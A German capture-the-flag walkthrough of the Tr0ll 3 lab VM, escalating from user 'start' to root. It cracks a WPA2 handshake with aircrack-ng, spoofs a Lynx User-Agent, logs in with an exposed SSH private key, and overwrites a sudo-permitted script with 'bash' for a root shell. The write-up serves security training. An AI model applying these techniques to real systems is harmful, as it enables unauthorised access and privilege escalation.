Tr0ll 3 – Please don’t feed the Troll (Walktrough)

This post is also available in:
English
Die dritte Version aus der Tr0ll-Serie von @Maleus21 ist eine klassische Boot-2-Root-VM. Ziel ist es sich durch verschiedene Level von Benutzern zu hangeln, um am Ende Root-Berechtigungen zu erlangen und die Flagge unter /root/flag.txt
auszulesen. Im Folgenden fasse ich meinen Lösungsweg für Tr0ll 3 in diesem Writeup zusammen.
Level 0: start
Der Login zum ersten Benutzer start
mit dem Passwort here
wird nach dem Hochfahren der virtuellen Maschine im Startbildschirm angezeigt.

Ein initialer Portscan mittels nmap
zeigt außerdem, dass aktuell ausschließlich SSH
auf Port 22 zur Verfügung steht. Der Einfachheit halber können wir uns darüber direkt mit der Maschine verbinden.
basto@Malice:~$ ssh start@192.168.56.101
start@192.168.56.101's password: here
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-55-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
start@Tr0ll3:~$
Im Home-Verzeichnis des start
-Benutzers finden wir die zwei Ordner bluepill
und redpill
.
start@Tr0ll3:~$ ls -al *
bluepill:
total 12
drwxrwxr-x 2 start start 4096 Jun 18 2015 .
drwx------ 8 start start 4096 Aug 22 12:51 ..
-rw-rw-r-- 1 start start 18 Jun 17 2015 awesome_work
redpill:
total 12
drwxrwxr-x 2 start start 4096 Jun 17 2015 .
drwx------ 8 start start 4096 Aug 22 12:51 ..
-rw-rw-r-- 1 start start 17 Jun 17 2015 this_will_surely_work
In der Datei awesome_work
ist lediglich die URL http://bfy.tw/ODa enthalt. Besuchen wir den angegebenen Link, werden wir lediglich auf www.lmgtfy.com (Let me Google that for you) mit dem Query „How do you make a hacker waste time“ weitergeleitet. Es ist also relativ schnell klar, dass diese Information eine Sackgasse ist und nur als Scherz dort platziert wurde.
basto@Malice:~$ curl http://bfy.tw/ODa
<html><body>You are being <a href="http://www.lmgtfy.com/?q=how+do+you+make+a+hacker+waste+time%3F">redirected</a>.</body></html>%
Im weiteren Verlauf werden uns immer wieder ähnliche Informationen präsentiert, die nur als Ablenkung dienen sollen. Die Maschine macht ihrem Namen also alle Ehre und „trollt“ uns, wo sich die Möglichkeit dazu bietet.
Die Datei this_will_surely_work
im redpill
-Verzeichnis enthält auf der anderen Seite den Text step2:Password1!
. Der erste Instinkt sagt, dass es sich hierbei um die nächste Benutzerkennung handelt. Versuchen wir uns jedoch mit den angegebenen Daten anzumelden, erhalten wir ausschließlich fehlerhafte Authentifizierungsversuche. Auch hierbei handelt es sich lediglich um eine Finte.
Erste Hinweise
Mit find / -type f -perm 0777 2>/dev/null
können wir Dateien finden, die unabhängig vom Besitzer für alle Benutzer zu lesen und bearbeiten sind. Dadurch lassen sich die ersten tatsächlichen Hinweise ausfindig machen:
start@Tr0ll3:~$ find / -type f -perm 0777 2>/dev/null
/var/log/.dist-manage/wytshadow.cap
/.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/gold_star.txt
Auf der einen Seite befindet sich unter /var/log/.dist-manage/
die Datei wytshadow.cap
. Dies ist anscheinend eine Aufzeichnung eines Netzwerkverkehrs, der unter anderem auch einen WPA2-Handshake enthält.
start@Tr0ll3:~$ tcpdump -r /var/log/.dist-manage/wytshadow.cap
...
23:40:52.736808 Authentication (Open System)-1: Successful
23:40:52.742448 Acknowledgment RA:f8:94:c2:f4:e5:a2 (oui Unknown)
23:40:52.743986 Authentication (Open System)-2:
23:40:52.746024 Acknowledgment RA:18:d6:c7:3f:23:89 (oui Unknown)
23:40:52.748053 Assoc Response AID(1) : PRIVACY : Successful
23:40:52.750120 Acknowledgment RA:18:d6:c7:3f:23:89 (oui Unknown)
23:40:52.752176 EAPOL key (3) v2, len 95
23:40:52.753704 Acknowledgment RA:18:d6:c7:3f:23:89 (oui Unknown)
23:40:52.755752 EAPOL key (3) v1, len 117
23:40:52.757806 Acknowledgment RA:f8:94:c2:f4:e5:a2 (oui Unknown)
23:40:52.759857 EAPOL key (3) v2, len 151
Das Passwort des Benutzers wytshadow
lässt sich also wahrscheinlich herausfinden, wenn es uns gelingt, den Handshake zu knacken.
Die Datei gold_star.txt
im Verzeichnis /.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/
beinhaltet zahlreiche 10-Zeichen-lange Strings und dient uns für die Wiederherstellung des Passwortes als Wörterbuch.
aircrack-ng -w gold_star.txt wytshadow.cap

aircrack-ng
spuckt das korrekte Passwort gaUoCe34t1
in kurzer Zeit aus und mit den neuen Zugangsdaten können wir uns nun als Benutzer wytshadow
anmelden:
start@Tr0ll3:~$ su wytshadow
Password: gaUoCe34t1
wytshadow@Tr0ll3:~$
Level 1: wytshadow
Durchsuchen wir das Home-Verzeichnis von wytshadow
, sticht sofort die Datei oohfun
ins Auge. Dort wurde das SUID-Bit gesetzt, wodurch wir das Programm mit den Rechten des Benutzers genphlux
ausführen könne.
wytshadow@Tr0ll3:~$ ls -al
total 48
drwx------ 5 wytshadow wytshadow 4096 Aug 22 09:21 .
drwxr-xr-x 10 root root 4096 Jun 19 2015 ..
-rw------- 1 wytshadow wytshadow 297 Aug 22 09:21 .bash_history
-rw-r--r-- 1 wytshadow wytshadow 220 Jun 17 2015 .bash_logout
-rw-r--r-- 1 wytshadow wytshadow 3637 Jun 17 2015 .bashrc
drwx------ 2 wytshadow wytshadow 4096 Jun 17 2015 .cache
drwx------ 3 wytshadow wytshadow 4096 Aug 1 01:50 .gnupg
drwxrwxr-x 3 wytshadow wytshadow 4096 Aug 22 06:40 .local
-rwsrwxrwx 1 genphlux root 8566 Jun 17 2015 oohfun
-rw-r--r-- 1 wytshadow wytshadow 675 Jun 17 2015 .profile
Wenn wir die Datei aber letztendlich aufrufen, erhalten wir lediglich durchgehend den Output iM Cr@zY L1k3 AAA LYNX
:
wytshadow@Tr0ll3:~$ ./oohfun
iM Cr@zY L1k3 AAA LYNX
iM Cr@zY L1k3 AAA LYNX
...
Untersuchen wir den Dateiinhalt mittels strings
, können wir feststellen, dass darin nachfolgender Aufruf enthalten ist:
/lol/bin/run.sh -b 0.0.0.0
Leider können wir die run.sh
-Datei nicht weiter beeinflussen, da das Verzeichnis lol
ebenfalls dem Benutzer genphlux
zugeordnet ist.
wytshadow@Tr0ll3:~$ ls -al / | grep lol
drwsr-x--x 8 genphlux root 4096 May 22 2009 lol
Alle Befehle, die wir mit Root-Berechtigungen ausführen können, lassen sich unter Linux mit dem Befehl sudo -l
auflisten.
wytshadow@Tr0ll3:~$ sudo -l
[sudo] password for wytshadow:
Matching Defaults entries for wytshadow on Tr0ll3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wytshadow may run the following commands on Tr0ll3:
(root) /usr/sbin/service nginx start
Hier zeigt sich, dass der Benutze wytshadow
den Dienst für den nginx
Webserver starten darf, was wir auch direkt machen:
wytshadow@Tr0ll3:~$ sudo service nginx start
Ein lokaler Check der offenen Ports mittels netstat
bestätigt das erfolgreiche Starten des Webservers, da jetzt zusätzlich Port 8080 geöffnet wurde.
wytshadow@Tr0ll3:~$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN
Besuchen können wir die Webseite jedoch nicht, da alle Anfragen mit einem 403 Forbidden
abgewiesen werden.
basto@Malice:~$ curl 192.168.56.101:8080
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>
Um die Ursache dafür herauszufinden, überprüfen wir die Standardkonfiguration des nginx-Webservers. Dazu öffnen wir als die Datei /etc/nginx/sites-enabled/default
. Gleich zu Beginn fällt uns die nachfolgende Passage darin auf:
# Default server configuration
#
server {
listen 8080 default_server;
listen [::]:8080 default_server;
if ($http_user_agent !~ "Lynx*"){
return 403;
}
Falls die Anfragen nicht den User-Agent Lynx
beinhalten, antwortet der Server immer mit einem 403-Fehler. Da die Konfigurationsdatei leider schreibgeschützt ist, können wir an dem Verhalten nichts ändern. Jedoch können wir mittels curl
unseren eigenen User-Agent-Header hinzufügen, welcher der erwarteten Form entspricht.
basto@Malice:~$ curl -H "User-Agent: Lynx Basto" 192.168.56.101:8080
genphlux:HF9nd0cR!
Die erhaltenen Zugangsdaten können wir nun verwenden, um uns als Benutzer genphlux
anzumelden.
wytshadow@Tr0ll3:~$ su genphlux
Password: HF9nd0cR!
genphlux@Tr0ll3:~$
Level 2: genphlux
Wie immer schauen wir uns zuerst das Home-Verzeichnis des neuen Benutzers an.
genphlux@Tr0ll3:~$ ls -al
total 52
drwx------ 5 genphlux genphlux 4096 Aug 22 10:09 .
drwxr-xr-x 10 root root 4096 Jun 19 2015 ..
-rw------- 1 genphlux genphlux 273 Aug 22 10:09 .bash_history
-rw-r--r-- 1 genphlux genphlux 220 Jun 17 2015 .bash_logout
-rw-r--r-- 1 genphlux genphlux 3637 Jun 17 2015 .bashrc
drwx------ 2 genphlux genphlux 4096 Jun 17 2015 .cache
drwx------ 3 genphlux genphlux 4096 Aug 1 04:03 .gnupg
drwxrwxr-x 3 genphlux genphlux 4096 Aug 22 09:22 .local
-rw-rw-r-- 1 genphlux genphlux 1675 Jun 18 2015 maleus
-rw-r--r-- 1 genphlux genphlux 675 Jun 17 2015 .profile
-rw------- 1 genphlux genphlux 5649 Jun 17 2015 .viminfo
-rw-rw-r-- 1 genphlux genphlux 931 Aug 2 15:56 xlogin
Die Datei xlogin
ist lediglich eine HTML-Seite, die ein Directory-Listing für das Web-Verzeichnis /xlogin
darstellt. Dies bringt uns aber nicht weiter.
xlogin
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /xlogin</title>
</head>
<body>
<h1>Index of /xlogin</h1>
<table>
<tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td> </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="maleus">maleus</a></td><td align="right">2015-06-18 00:27 </td><td align="right">1.6K</td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>
Im Gegensatz dazu ist die Datei maleus
deutlich spannender. Darin befindet sich allem Anschein nach ein RSA-Schlüssel, höchstwahrscheinlich für eine SSH-Verbindung.
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwz5Hwer48U1t/Qi9JveuO+Z7WQlnmhOOs/2pZ0he/OyVsEFv
DsGib1wu/N8t+7h9JZK9x2GL33TXQBVCy6TxES90F1An+2DSza6lJPCyhcgK/DEp
yxSVt32A+lFo+PQJV6QYZlpRkek0MjUw5y/E5qZwdBypC55C4QzgQBN3+Lnuhuk4
u52xcK9/6/2N7JZCNYA21Tp1Uy9mty/65IT7OwKJd2rXp3O6rZYTD/vPl+Rt/LtN
gA1DbDODq0NCmvcrZL+SafSj+MABA3LCERw01gA4RMdyxJU6hVfjeSKOdwDQOGWe
eAVCL2GR/frwyf+rfN1kbpdw/RGXWWwVANMcaQIDAQABAoIBAGNudFztrZo2NK2I
pcwSl0kqN+dAQuLU0vgXVw6ibL2iPxlkOYrqUi8kY0mk32YyrolUEhJYO0Ox3W1l
Zn8PoTV/VUAKMlJzHOhi6PfHHSPEnNOSthYWhajM4cKZczxWC+v2RfbaSHBms45e
SGl0inJskRiRAAZKswSp6gq334FrS6Dwy1tiKvzCfR3kLQghV5U/PhFZCsq3xvAw
eXPx2toNtU2gYSGrKWTep+nAKM1neBxeZAujYuN4xJ5/Th2y0pyTvX9WEgzKPJ/G
PlYZYCUAKPCbabYSuZckjeiN1aS52AIFedECBfAIezOr08Wx/bI/xCOgBxrQgPrK
kRvlOYECgYEA5eCIEfdLhWdg3ltadYE0O5VAoXKrbxYWqSyw1Eyeqj0N1qD9Rsvg
jIQJazV5JcVBIF54f/jlCJozR5s5AELrY0Z/krea1lF5ecOSUQE3tp94298xzO3g
7BBe3g6pD56Cya/Vo0+YVQmAnBHLh6QIYvUUXXN2IyceT8fhEx5JA+sCgYEA2W4z
KKMVAdPxKcjVks1zdGmVlj1RsUkakYuLWV3jQe2w1naJrc37Khy5eWZaRJhXqeBb
1cvTMa+r/BF7jvItxglWoBJqXDxKI0a6KqWtloZL2ynoaBkAhR2btob6nSN63Bpg
ZYJKY1B5yYbDHK4k6QT7atn2g6DAv/7sW6skj/sCgYA16WTAIek6TjZvr6kVacng
N27C7mu6T8ncvzhxcc68SjlWnscHtYTiL40t8YqKCyrs9nr4OF0umUtxfbvujcM6
syv0Ms9DeDQvFGjaSpjQYbIsjrnVP+zCMEyvc2y+1wQBXRWTiXVGbEYXVC0RkKzO
2H+AMzX/pIr9Vvk4TJ//JQKBgFNJcy9NyO46UVbAJ49kQ6WEDFjQhEp0xkiaO3aw
EC1g7yw3m+WH0X4AIsvt+QXtlSbtWkA7I1sU/7w+tiW7fu0tBpGqfDN4pK1+mjFb
5XKTXttE4lF9wkU7Yjo42ib3QEivkd1QW05PtVcM2BBUZK8dyXDUrSkemrbw33j9
xbOhAoGBAL8uHuAs68ki/BWcmWUUer7Y+77YI/FFm3EvP270K5yn0WUjDJXwHpuz
Fg3n294GdjBtQmvyf2Wxin4rxl+1aWuj7/kS1/Fa35n8qCN+lkBzfNVA7f626KRA
wS3CudSkma8StmvgGKIU5YcO8f13/3QB6PPBgNoKnF5BlFFQJqhK
-----END RSA PRIVATE KEY-----
Wir versuchen uns also nun mit dem Private Key für den Benutzer maleus
anzumelden. Der SSH-Service verhindert jedoch, dass für die Anmeldung eine Zertifikatsdatei verwendet werden kann, die für andere Benutzer als den eigenen lesbar ist. Als Folge dessen müssen wir im Vorfeld noch die Dateiberechtigungen weiter einschränken.
genphlux@Tr0ll3:~$ chmod 600 maleus
genphlux@Tr0ll3:~$ ssh -i maleus maleus@192.168.56.101
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-55-generic x86_64)
* Documentation: <https://help.ubuntu.com>
* Management: <https://landscape.canonical.com>
* Support: <https://ubuntu.com/advantage>
Failed to connect to <https://changelogs.ubuntu.com/meta-release-lts>. Check your Internet connection or proxy settings
maleus@Tr0ll3:~$
Level 3.1: maleus (private key)
Da wir noch keine Kenntnisse zum tatsächlichen Benutzerkennwort haben, können wir uns auch aktuell nicht die ausführbaren Root-Befehle mittels sudo -l
auflisten lassen. Im Home-Verzeichnis von maleus
finden sich jedoch bereits mehrere Dateien, die unsere Aufmerksamkeit verdienen.
maleus@Tr0ll3:~$ ls -al
total 80
drwx------ 6 maleus maleus 4096 Dec 19 07:05 .
drwxr-xr-x 10 root root 4096 Jun 19 2015 ..
-rw------- 1 maleus maleus 42 Dec 19 07:05 .bash_history
-rw-r--r-- 1 maleus maleus 220 Jun 17 2015 .bash_logout
-rw-r--r-- 1 maleus maleus 3637 Jun 17 2015 .bashrc
drwx------ 2 maleus maleus 4096 Jun 17 2015 .cache
-rwxrwxr-x 1 maleus maleus 37 Aug 22 10:04 dont_even_bother
drwx------ 3 maleus maleus 4096 Aug 1 03:48 .gnupg
-rw-rw-r-- 1 maleus maleus 145 Jun 18 2015 index.html
drwxrwxr-x 3 maleus maleus 4096 Aug 22 09:47 .local
-rw-r--r-- 1 maleus maleus 675 Jun 17 2015 .profile
drwx------ 2 maleus maleus 4096 Jun 18 2015 .ssh
-rw------- 1 maleus maleus 1301 Aug 2 16:02 .viminfo
-rw-rw-r-- 1 maleus maleus 931 Aug 22 09:55 xlogin
Wenn wir uns den Quellcode der index.html
Datei ansehen, offenbart sich anscheinend direkt der nächste Hinweis.
index.html
<html>
<body>
<img src="pic.jpg">
</body>
</html>
<!-- Wow, looking at the source code, you are truly l33t! The next step uses fido:x4tPl! >
Ein Login für den Benutzer fido
ist mit dem angezeigten Passwort leider nicht möglich. Es scheint, als hätte hier der Troll erneut für Verwirrung gesorgt.
In ähnlicher Weise werden wir mit der Datei dont_even_bother
in die Irre geführt. Führen wir diese aus, werden wir zur Eingabe eines Passwortes aufgefordert.
maleus@Tr0ll3:~$ ./dont_even_bother
Enter the password :
Wrong Password
Ein kurzer Blick auf die in der Datei enthaltenen Zeichenketten liefert uns das geforderte Kennwort:
maleus@Tr0ll3:~$ strings dont_even_bother
Enter the password :
xl8Fpx%6
maleus@Tr0ll3:~$ ./dont_even_bother
Enter the password : xl8Fpx%6
Correct Password
Your reward is just knowing you did it! :-P
Sieht also aus, als wären wir immer noch nicht weiter gekommen.
Die Datei .viminfo
beinhaltet die History-Einträge für die letzten Befehle der einzelnen Kategorien, die im Texteditor Vim eingegeben wurden. Unter anderem findet sich in der vorliegenden Datei auch der nachfolgende Ausschnitt, der die Eingabe eines Benutzerpasswortes zu beinhalten scheint:
.viminfo
# Registers:
""1 LINE 0
passwd
"2 LINE 0
B^slc8I$
"3 LINE 0
passswd
Level 3.2: maleus (password)
Wenn wir jetzt erneut versuchen, den Befehl sudo -l mit dem angezeigten Kennwort auszuführen, erhalten wir unseren nächsten Hinweis.
maleus@Tr0ll3:~$ sudo -l
[sudo] password for maleus:
Matching Defaults entries for maleus on Tr0ll3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User maleus may run the following commands on Tr0ll3:
(root) /home/maleus/dont_even_bother
Wie wir sehen, hat der Anwender maleus
die Möglichkeit, die Datei /home/maleus/dont_even_bother
mit den Berechtigungen des Root-Benutzers auszuführen.
Mit der aktuellen Version der Datei können wir zwar nicht viel anfangen, aber unser Benutzer ist berechtigt, diese zu verändern. Wir überschreiben also dont_even_bother
mit dem Befehl zum Starten einer neuen Shell.
maleus@Tr0ll3:~$ echo "bash" > dont_even_bother
Anschließend führen wir den überschriebenen Code mit Sudo-Berechtigungen aus.
maleus@Tr0ll3:~$ sudo ./dont_even_bother
root@Tr0ll3:~# id
uid=0(root) gid=0(root) groups=0(root)
Level 4: root
Als letzten Schritt können wir nun mit den Root-Berechtigungen noch den Inhalt der Flagge auslesen:
root@Tr0ll3:~# cat /root/flag.txt
You are truly a Jedi!
Twitter Proof:
Pr00fThatTh3L33tHax0rG0tTheFl@g!!
@Maleus21

